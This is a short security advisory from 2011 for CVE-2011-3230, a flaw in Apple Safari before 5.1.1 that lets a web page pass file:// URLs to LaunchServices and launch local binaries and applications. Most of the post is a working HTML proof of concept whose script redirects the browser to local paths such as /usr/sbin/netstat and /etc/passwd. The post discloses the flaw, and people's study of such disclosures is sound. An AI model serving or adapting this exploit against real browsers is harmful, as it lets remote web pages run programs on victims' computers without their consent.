Apple Safari Arbitrary Code Execution

Apple Safari Arbitrary Code Execution
Posted Oct 15, 2011
Authored by Aaron Sigel

Apple Safari versions prior to 5.1.1 fail to enforce an intended policy for file:// URLs and in turn allows for remote attackers to execute code.

CVE: CVE-2011-3230

There's not a ton to say about this bug aside from "Yikes"! I think the PoC speaks for itself. This allows you to send any "file:" url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page. The only caveat is that since LaunchServices will check for the quarantine bit, you cannot directly push a binary to the browser and launch it. Other than that, you can run or launch anything you can access by using the method in the html provided below.




<html>
<head>
<base href="file://">
<script>
function DoIt() {
alert(document.getElementById("cmdToRun").value);
document.location=document.getElementById("cmdToRun").value;
}
</script>
</head>
<body>
<select id="cmdToRun">
<option value="/usr/sbin/netstat">Launch /usr/bin/netstat</option>
<option value="/etc/passwd">Launch /etc/passwd</option>
<option value="/Applications/Utilities/Bluetooth File Exchange.app">
Launch Bluetooth File Exchange.app</option>
</select>
<br />
<input type=button value="Launch" onclick="DoIt()">
<br />
</body>
</html>
